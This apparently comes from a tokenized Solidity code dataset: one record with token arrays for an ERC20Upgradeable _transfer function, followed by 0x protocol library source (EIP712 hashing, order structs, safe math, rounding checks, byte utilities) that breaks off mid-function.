-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0xd24e6Ff54E08Ac3Bb2A3765b67e07F1670b46Dfa/sources/contracts/ERC20Upgradeable.sol
|
* @dev Moves `amount` of tokens from `from` to `to`. This internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `from` cannot be the zero address. - `to` cannot be the zero address. - `from` must have a balance of at least `amount`./ Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by decrementing then incrementing.
|
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = _balances[from];
_requireBalanceIsNotDenylisted(fromBalance, from);
uint256 toBalance = _balances[to];
_requireBalanceIsNotDenylisted(toBalance, to);
_beforeTokenTransfer(from, to, amount);
require(
fromBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] = toBalance + amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
| 7,057,277 |
[
1,
19297,
1375,
8949,
68,
434,
2430,
628,
1375,
2080,
68,
358,
1375,
869,
8338,
1220,
2713,
445,
353,
7680,
358,
288,
13866,
5779,
471,
848,
506,
1399,
358,
425,
18,
75,
18,
2348,
5859,
1147,
1656,
281,
16,
9026,
310,
1791,
28757,
16,
5527,
18,
7377,
1282,
279,
288,
5912,
97,
871,
18,
29076,
30,
300,
1375,
2080,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
869,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
2080,
68,
1297,
1240,
279,
11013,
434,
622,
4520,
1375,
8949,
8338,
19,
10752,
2426,
486,
3323,
30,
326,
2142,
434,
777,
324,
26488,
353,
3523,
1845,
635,
2078,
3088,
1283,
16,
471,
326,
2142,
353,
21096,
635,
15267,
310,
1508,
5504,
310,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
13866,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
3844,
203,
565,
262,
2713,
5024,
288,
203,
3639,
2583,
12,
2080,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
7412,
628,
326,
3634,
1758,
8863,
203,
3639,
2583,
12,
869,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
7412,
358,
326,
3634,
1758,
8863,
203,
203,
3639,
2254,
5034,
628,
13937,
273,
389,
70,
26488,
63,
2080,
15533,
203,
3639,
389,
6528,
13937,
28041,
8517,
93,
18647,
12,
2080,
13937,
16,
628,
1769,
203,
203,
3639,
2254,
5034,
358,
13937,
273,
389,
70,
26488,
63,
869,
15533,
203,
3639,
389,
6528,
13937,
28041,
8517,
93,
18647,
12,
869,
13937,
16,
358,
1769,
203,
203,
3639,
389,
5771,
1345,
5912,
12,
2080,
16,
358,
16,
3844,
1769,
203,
203,
3639,
2583,
12,
203,
5411,
628,
13937,
1545,
3844,
16,
203,
5411,
315,
654,
39,
3462,
30,
7412,
3844,
14399,
11013,
6,
203,
3639,
11272,
203,
3639,
22893,
288,
203,
5411,
389,
70,
26488,
63,
2080,
65,
273,
628,
13937,
300,
3844,
31,
203,
5411,
389,
70,
26488,
63,
869,
65,
273,
358,
13937,
397,
3844,
31,
203,
3639,
289,
203,
203,
3639,
3626,
12279,
12,
2080,
16,
358,
16,
3844,
1769,
203,
203,
3639,
389,
5205,
1345,
5912,
12,
2080,
16,
358,
16,
3844,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// solhint-disable
// @dev Interface of the asset proxy's assetData.
// The asset proxies take an ABI encoded `bytes assetData` as argument.
// This argument is ABI encoded as one of the methods of this interface.
interface IAssetData {
/// @dev Function signature for encoding ERC20 assetData.
/// @param tokenAddress Address of ERC20Token contract.
function ERC20Token(address tokenAddress)
external;
/// @dev Function signature for encoding ERC721 assetData.
/// @param tokenAddress Address of ERC721 token contract.
/// @param tokenId Id of ERC721 token to be transferred.
function ERC721Token(
address tokenAddress,
uint256 tokenId
)
external;
/// @dev Function signature for encoding ERC1155 assetData.
/// @param tokenAddress Address of ERC1155 token contract.
/// @param tokenIds Array of ids of tokens to be transferred.
/// @param values Array of values that correspond to each token id to be transferred.
/// Note that each value will be multiplied by the amount being filled in the order before transferring.
/// @param callbackData Extra data to be passed to receiver's `onERC1155Received` callback function.
function ERC1155Assets(
address tokenAddress,
uint256[] calldata tokenIds,
uint256[] calldata values,
bytes calldata callbackData
)
external;
/// @dev Function signature for encoding MultiAsset assetData.
/// @param values Array of amounts that correspond to each asset to be transferred.
/// Note that each value will be multiplied by the amount being filled in the order before transferring.
/// @param nestedAssetData Array of assetData fields that will be be dispatched to their correspnding AssetProxy contract.
function MultiAsset(
uint256[] calldata values,
bytes[] calldata nestedAssetData
)
external;
/// @dev Function signature for encoding StaticCall assetData.
/// @param staticCallTargetAddress Address that will execute the staticcall.
/// @param staticCallData Data that will be executed via staticcall on the staticCallTargetAddress.
/// @param expectedReturnDataHash Keccak-256 hash of the expected staticcall return data.
function StaticCall(
address staticCallTargetAddress,
bytes calldata staticCallData,
bytes32 expectedReturnDataHash
)
external;
/// @dev Function signature for encoding ERC20Bridge assetData.
/// @param tokenAddress Address of token to transfer.
/// @param bridgeAddress Address of the bridge contract.
/// @param bridgeData Arbitrary data to be passed to the bridge contract.
function ERC20Bridge(
address tokenAddress,
address bridgeAddress,
bytes calldata bridgeData
)
external;
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
library LibEIP712 {
// Hash of the EIP712 Domain Separator Schema
// keccak256(abi.encodePacked(
// "EIP712Domain(",
// "string name,",
// "string version,",
// "uint256 chainId,",
// "address verifyingContract",
// ")"
// ))
bytes32 constant internal _EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
/// @dev Calculates a EIP712 domain separator.
/// @param name The EIP712 domain name.
/// @param version The EIP712 domain version.
/// @param verifyingContract The EIP712 verifying contract.
/// @return EIP712 domain separator.
function hashEIP712Domain(
string memory name,
string memory version,
uint256 chainId,
address verifyingContract
)
internal
pure
returns (bytes32 result)
{
bytes32 schemaHash = _EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH;
// Assembly for more efficient computing:
// keccak256(abi.encodePacked(
// _EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH,
// keccak256(bytes(name)),
// keccak256(bytes(version)),
// chainId,
// uint256(verifyingContract)
// ))
assembly {
// Calculate hashes of dynamic data
let nameHash := keccak256(add(name, 32), mload(name))
let versionHash := keccak256(add(version, 32), mload(version))
// Load free memory pointer
let memPtr := mload(64)
// Store params in memory
mstore(memPtr, schemaHash)
mstore(add(memPtr, 32), nameHash)
mstore(add(memPtr, 64), versionHash)
mstore(add(memPtr, 96), chainId)
mstore(add(memPtr, 128), verifyingContract)
// Compute hash
result := keccak256(memPtr, 160)
}
return result;
}
/// @dev Calculates EIP712 encoding for a hash struct with a given domain hash.
/// @param eip712DomainHash Hash of the domain domain separator data, computed
/// with getDomainHash().
/// @param hashStruct The EIP712 hash struct.
/// @return EIP712 hash applied to the given EIP712 Domain.
function hashEIP712Message(bytes32 eip712DomainHash, bytes32 hashStruct)
internal
pure
returns (bytes32 result)
{
// Assembly for more efficient computing:
// keccak256(abi.encodePacked(
// EIP191_HEADER,
// EIP712_DOMAIN_HASH,
// hashStruct
// ));
assembly {
// Load free memory pointer
let memPtr := mload(64)
mstore(memPtr, 0x1901000000000000000000000000000000000000000000000000000000000000) // EIP191 header
mstore(add(memPtr, 2), eip712DomainHash) // EIP712 domain hash
mstore(add(memPtr, 34), hashStruct) // Hash of struct
// Compute hash
result := keccak256(memPtr, 66)
}
return result;
}
}
library LibOrder {
using LibOrder for Order;
// Hash for the EIP712 Order Schema:
// keccak256(abi.encodePacked(
// "Order(",
// "address makerAddress,",
// "address takerAddress,",
// "address feeRecipientAddress,",
// "address senderAddress,",
// "uint256 makerAssetAmount,",
// "uint256 takerAssetAmount,",
// "uint256 makerFee,",
// "uint256 takerFee,",
// "uint256 expirationTimeSeconds,",
// "uint256 salt,",
// "bytes makerAssetData,",
// "bytes takerAssetData,",
// "bytes makerFeeAssetData,",
// "bytes takerFeeAssetData",
// ")"
// ))
bytes32 constant internal _EIP712_ORDER_SCHEMA_HASH =
0xf80322eb8376aafb64eadf8f0d7623f22130fd9491a221e902b713cb984a7534;
// A valid order remains fillable until it is expired, fully filled, or cancelled.
// An order's status is unaffected by external factors, like account balances.
enum OrderStatus {
INVALID, // Default value
INVALID_MAKER_ASSET_AMOUNT, // Order does not have a valid maker asset amount
INVALID_TAKER_ASSET_AMOUNT, // Order does not have a valid taker asset amount
FILLABLE, // Order is fillable
EXPIRED, // Order has already expired
FULLY_FILLED, // Order is fully filled
CANCELLED // Order has been cancelled
}
// solhint-disable max-line-length
/// @dev Canonical order structure.
struct Order {
address makerAddress; // Address that created the order.
address takerAddress; // Address that is allowed to fill the order. If set to 0, any address is allowed to fill the order.
address feeRecipientAddress; // Address that will recieve fees when order is filled.
address senderAddress; // Address that is allowed to call Exchange contract methods that affect this order. If set to 0, any address is allowed to call these methods.
uint256 makerAssetAmount; // Amount of makerAsset being offered by maker. Must be greater than 0.
uint256 takerAssetAmount; // Amount of takerAsset being bid on by maker. Must be greater than 0.
uint256 makerFee; // Fee paid to feeRecipient by maker when order is filled.
uint256 takerFee; // Fee paid to feeRecipient by taker when order is filled.
uint256 expirationTimeSeconds; // Timestamp in seconds at which order expires.
uint256 salt; // Arbitrary number to facilitate uniqueness of the order's hash.
bytes makerAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring makerAsset. The leading bytes4 references the id of the asset proxy.
bytes takerAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring takerAsset. The leading bytes4 references the id of the asset proxy.
bytes makerFeeAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring makerFeeAsset. The leading bytes4 references the id of the asset proxy.
bytes takerFeeAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring takerFeeAsset. The leading bytes4 references the id of the asset proxy.
}
// solhint-enable max-line-length
/// @dev Order information returned by `getOrderInfo()`.
struct OrderInfo {
OrderStatus orderStatus; // Status that describes order's validity and fillability.
bytes32 orderHash; // EIP712 typed data hash of the order (see LibOrder.getTypedDataHash).
uint256 orderTakerAssetFilledAmount; // Amount of order that has already been filled.
}
/// @dev Calculates the EIP712 typed data hash of an order with a given domain separator.
/// @param order The order structure.
/// @return EIP712 typed data hash of the order.
function getTypedDataHash(Order memory order, bytes32 eip712ExchangeDomainHash)
internal
pure
returns (bytes32 orderHash)
{
orderHash = LibEIP712.hashEIP712Message(
eip712ExchangeDomainHash,
order.getStructHash()
);
return orderHash;
}
/// @dev Calculates EIP712 hash of the order struct.
/// @param order The order structure.
/// @return EIP712 hash of the order struct.
function getStructHash(Order memory order)
internal
pure
returns (bytes32 result)
{
bytes32 schemaHash = _EIP712_ORDER_SCHEMA_HASH;
bytes memory makerAssetData = order.makerAssetData;
bytes memory takerAssetData = order.takerAssetData;
bytes memory makerFeeAssetData = order.makerFeeAssetData;
bytes memory takerFeeAssetData = order.takerFeeAssetData;
// Assembly for more efficiently computing:
// keccak256(abi.encodePacked(
// EIP712_ORDER_SCHEMA_HASH,
// uint256(order.makerAddress),
// uint256(order.takerAddress),
// uint256(order.feeRecipientAddress),
// uint256(order.senderAddress),
// order.makerAssetAmount,
// order.takerAssetAmount,
// order.makerFee,
// order.takerFee,
// order.expirationTimeSeconds,
// order.salt,
// keccak256(order.makerAssetData),
// keccak256(order.takerAssetData),
// keccak256(order.makerFeeAssetData),
// keccak256(order.takerFeeAssetData)
// ));
assembly {
// Assert order offset (this is an internal error that should never be triggered)
if lt(order, 32) {
invalid()
}
// Calculate memory addresses that will be swapped out before hashing
let pos1 := sub(order, 32)
let pos2 := add(order, 320)
let pos3 := add(order, 352)
let pos4 := add(order, 384)
let pos5 := add(order, 416)
// Backup
let temp1 := mload(pos1)
let temp2 := mload(pos2)
let temp3 := mload(pos3)
let temp4 := mload(pos4)
let temp5 := mload(pos5)
// Hash in place
mstore(pos1, schemaHash)
mstore(pos2, keccak256(add(makerAssetData, 32), mload(makerAssetData))) // store hash of makerAssetData
mstore(pos3, keccak256(add(takerAssetData, 32), mload(takerAssetData))) // store hash of takerAssetData
mstore(pos4, keccak256(add(makerFeeAssetData, 32), mload(makerFeeAssetData))) // store hash of makerFeeAssetData
mstore(pos5, keccak256(add(takerFeeAssetData, 32), mload(takerFeeAssetData))) // store hash of takerFeeAssetData
result := keccak256(pos1, 480)
// Restore
mstore(pos1, temp1)
mstore(pos2, temp2)
mstore(pos3, temp3)
mstore(pos4, temp4)
mstore(pos5, temp5)
}
return result;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
library LibRichErrors {
// bytes4(keccak256("Error(string)"))
bytes4 internal constant STANDARD_ERROR_SELECTOR =
0x08c379a0;
// solhint-disable func-name-mixedcase
/// @dev ABI encode a standard, string revert error payload.
/// This is the same payload that would be included by a `revert(string)`
/// solidity statement. It has the function signature `Error(string)`.
/// @param message The error string.
/// @return The ABI encoded error.
function StandardError(
string memory message
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
STANDARD_ERROR_SELECTOR,
bytes(message)
);
}
// solhint-enable func-name-mixedcase
/// @dev Reverts an encoded rich revert reason `errorData`.
/// @param errorData ABI encoded error data.
function rrevert(bytes memory errorData)
internal
pure
{
assembly {
revert(add(errorData, 0x20), mload(errorData))
}
}
}
library LibSafeMathRichErrors {
// bytes4(keccak256("Uint256BinOpError(uint8,uint256,uint256)"))
bytes4 internal constant UINT256_BINOP_ERROR_SELECTOR =
0xe946c1bb;
// bytes4(keccak256("Uint256DowncastError(uint8,uint256)"))
bytes4 internal constant UINT256_DOWNCAST_ERROR_SELECTOR =
0xc996af7b;
enum BinOpErrorCodes {
ADDITION_OVERFLOW,
MULTIPLICATION_OVERFLOW,
SUBTRACTION_UNDERFLOW,
DIVISION_BY_ZERO
}
enum DowncastErrorCodes {
VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT32,
VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT64,
VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT96
}
// solhint-disable func-name-mixedcase
function Uint256BinOpError(
BinOpErrorCodes errorCode,
uint256 a,
uint256 b
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
UINT256_BINOP_ERROR_SELECTOR,
errorCode,
a,
b
);
}
function Uint256DowncastError(
DowncastErrorCodes errorCode,
uint256 a
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
UINT256_DOWNCAST_ERROR_SELECTOR,
errorCode,
a
);
}
}
library LibSafeMath {
function safeMul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
if (c / a != b) {
LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError(
LibSafeMathRichErrors.BinOpErrorCodes.MULTIPLICATION_OVERFLOW,
a,
b
));
}
return c;
}
function safeDiv(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (b == 0) {
LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError(
LibSafeMathRichErrors.BinOpErrorCodes.DIVISION_BY_ZERO,
a,
b
));
}
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (b > a) {
LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError(
LibSafeMathRichErrors.BinOpErrorCodes.SUBTRACTION_UNDERFLOW,
a,
b
));
}
return a - b;
}
function safeAdd(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
if (c < a) {
LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError(
LibSafeMathRichErrors.BinOpErrorCodes.ADDITION_OVERFLOW,
a,
b
));
}
return c;
}
function max256(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
}
library LibMathRichErrors {
// bytes4(keccak256("DivisionByZeroError()"))
bytes internal constant DIVISION_BY_ZERO_ERROR =
hex"a791837c";
// bytes4(keccak256("RoundingError(uint256,uint256,uint256)"))
bytes4 internal constant ROUNDING_ERROR_SELECTOR =
0x339f3de2;
// solhint-disable func-name-mixedcase
function DivisionByZeroError()
internal
pure
returns (bytes memory)
{
return DIVISION_BY_ZERO_ERROR;
}
function RoundingError(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
ROUNDING_ERROR_SELECTOR,
numerator,
denominator,
target
);
}
}
library LibMath {
using LibSafeMath for uint256;
/// @dev Calculates partial value given a numerator and denominator rounded down.
/// Reverts if rounding error is >= 0.1%
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return Partial value of target rounded down.
function safeGetPartialAmountFloor(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
if (isRoundingErrorFloor(
numerator,
denominator,
target
)) {
LibRichErrors.rrevert(LibMathRichErrors.RoundingError(
numerator,
denominator,
target
));
}
partialAmount = numerator.safeMul(target).safeDiv(denominator);
return partialAmount;
}
/// @dev Calculates partial value given a numerator and denominator rounded down.
/// Reverts if rounding error is >= 0.1%
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return Partial value of target rounded up.
function safeGetPartialAmountCeil(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
if (isRoundingErrorCeil(
numerator,
denominator,
target
)) {
LibRichErrors.rrevert(LibMathRichErrors.RoundingError(
numerator,
denominator,
target
));
}
// safeDiv computes `floor(a / b)`. We use the identity (a, b integer):
// ceil(a / b) = floor((a + b - 1) / b)
// To implement `ceil(a / b)` using safeDiv.
partialAmount = numerator.safeMul(target)
.safeAdd(denominator.safeSub(1))
.safeDiv(denominator);
return partialAmount;
}
/// @dev Calculates partial value given a numerator and denominator rounded down.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return Partial value of target rounded down.
function getPartialAmountFloor(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
partialAmount = numerator.safeMul(target).safeDiv(denominator);
return partialAmount;
}
/// @dev Calculates partial value given a numerator and denominator rounded down.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return Partial value of target rounded up.
function getPartialAmountCeil(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
// safeDiv computes `floor(a / b)`. We use the identity (a, b integer):
// ceil(a / b) = floor((a + b - 1) / b)
// To implement `ceil(a / b)` using safeDiv.
partialAmount = numerator.safeMul(target)
.safeAdd(denominator.safeSub(1))
.safeDiv(denominator);
return partialAmount;
}
/// @dev Checks if rounding error >= 0.1% when rounding down.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to multiply with numerator/denominator.
/// @return Rounding error is present.
function isRoundingErrorFloor(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (bool isError)
{
if (denominator == 0) {
LibRichErrors.rrevert(LibMathRichErrors.DivisionByZeroError());
}
// The absolute rounding error is the difference between the rounded
// value and the ideal value. The relative rounding error is the
// absolute rounding error divided by the absolute value of the
// ideal value. This is undefined when the ideal value is zero.
//
// The ideal value is `numerator * target / denominator`.
// Let's call `numerator * target % denominator` the remainder.
// The absolute error is `remainder / denominator`.
//
// When the ideal value is zero, we require the absolute error to
// be zero. Fortunately, this is always the case. The ideal value is
// zero iff `numerator == 0` and/or `target == 0`. In this case the
// remainder and absolute error are also zero.
if (target == 0 || numerator == 0) {
return false;
}
// Otherwise, we want the relative rounding error to be strictly
// less than 0.1%.
// The relative error is `remainder / (numerator * target)`.
// We want the relative error less than 1 / 1000:
// remainder / (numerator * denominator) < 1 / 1000
// or equivalently:
// 1000 * remainder < numerator * target
// so we have a rounding error iff:
// 1000 * remainder >= numerator * target
uint256 remainder = mulmod(
target,
numerator,
denominator
);
isError = remainder.safeMul(1000) >= numerator.safeMul(target);
return isError;
}
/// @dev Checks if rounding error >= 0.1% when rounding up.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to multiply with numerator/denominator.
/// @return Rounding error is present.
function isRoundingErrorCeil(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (bool isError)
{
if (denominator == 0) {
LibRichErrors.rrevert(LibMathRichErrors.DivisionByZeroError());
}
// See the comments in `isRoundingError`.
if (target == 0 || numerator == 0) {
// When either is zero, the ideal value and rounded value are zero
// and there is no rounding error. (Although the relative error
// is undefined.)
return false;
}
// Compute remainder as before
uint256 remainder = mulmod(
target,
numerator,
denominator
);
remainder = denominator.safeSub(remainder) % denominator;
isError = remainder.safeMul(1000) >= numerator.safeMul(target);
return isError;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
library LibBytesRichErrors {
enum InvalidByteOperationErrorCodes {
FromLessThanOrEqualsToRequired,
ToLessThanOrEqualsLengthRequired,
LengthGreaterThanZeroRequired,
LengthGreaterThanOrEqualsFourRequired,
LengthGreaterThanOrEqualsTwentyRequired,
LengthGreaterThanOrEqualsThirtyTwoRequired,
LengthGreaterThanOrEqualsNestedBytesLengthRequired,
DestinationLengthGreaterThanOrEqualSourceLengthRequired
}
// bytes4(keccak256("InvalidByteOperationError(uint8,uint256,uint256)"))
bytes4 internal constant INVALID_BYTE_OPERATION_ERROR_SELECTOR =
0x28006595;
// solhint-disable func-name-mixedcase
function InvalidByteOperationError(
InvalidByteOperationErrorCodes errorCode,
uint256 offset,
uint256 required
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
INVALID_BYTE_OPERATION_ERROR_SELECTOR,
errorCode,
offset,
required
);
}
}
library LibBytes {
using LibBytes for bytes;
/// @dev Gets the memory address for a byte array.
/// @param input Byte array to lookup.
/// @return memoryAddress Memory address of byte array. This
/// points to the header of the byte array which contains
/// the length.
function rawAddress(bytes memory input)
internal
pure
returns (uint256 memoryAddress)
{
assembly {
memoryAddress := input
}
return memoryAddress;
}
/// @dev Gets the memory address for the contents of a byte array.
/// @param input Byte array to lookup.
/// @return memoryAddress Memory address of the contents of the byte array.
function contentAddress(bytes memory input)
internal
pure
returns (uint256 memoryAddress)
{
assembly {
memoryAddress := add(input, 32)
}
return memoryAddress;
}
/// @dev Copies `length` bytes from memory location `source` to `dest`.
/// @param dest memory address to copy bytes to.
/// @param source memory address to copy bytes from.
/// @param length number of bytes to copy.
function memCopy(
uint256 dest,
uint256 source,
uint256 length
)
internal
pure
{
if (length < 32) {
// Handle a partial word by reading destination and masking
// off the bits we are interested in.
// This correctly handles overlap, zero lengths and source == dest
assembly {
let mask := sub(exp(256, sub(32, length)), 1)
let s := and(mload(source), not(mask))
let d := and(mload(dest), mask)
mstore(dest, or(s, d))
}
} else {
// Skip the O(length) loop when source == dest.
if (source == dest) {
return;
}
// For large copies we copy whole words at a time. The final
// word is aligned to the end of the range (instead of after the
// previous) to handle partial words. So a copy will look like this:
//
// ####
// ####
// ####
// ####
//
// We handle overlap in the source and destination range by
// changing the copying direction. This prevents us from
// overwriting parts of source that we still need to copy.
//
// This correctly handles source == dest
//
if (source > dest) {
assembly {
// We subtract 32 from `sEnd` and `dEnd` because it
// is easier to compare with in the loop, and these
// are also the addresses we need for copying the
// last bytes.
length := sub(length, 32)
let sEnd := add(source, length)
let dEnd := add(dest, length)
// Remember the last 32 bytes of source
// This needs to be done here and not after the loop
// because we may have overwritten the last bytes in
// source already due to overlap.
let last := mload(sEnd)
// Copy whole words front to back
// Note: the first check is always true,
// this could have been a do-while loop.
// solhint-disable-next-line no-empty-blocks
for {} lt(source, sEnd) {} {
mstore(dest, mload(source))
source := add(source, 32)
dest := add(dest, 32)
}
// Write the last 32 bytes
mstore(dEnd, last)
}
} else {
assembly {
// We subtract 32 from `sEnd` and `dEnd` because those
// are the starting points when copying a word at the end.
length := sub(length, 32)
let sEnd := add(source, length)
let dEnd := add(dest, length)
// Remember the first 32 bytes of source
// This needs to be done here and not after the loop
// because we may have overwritten the first bytes in
// source already due to overlap.
let first := mload(source)
// Copy whole words back to front
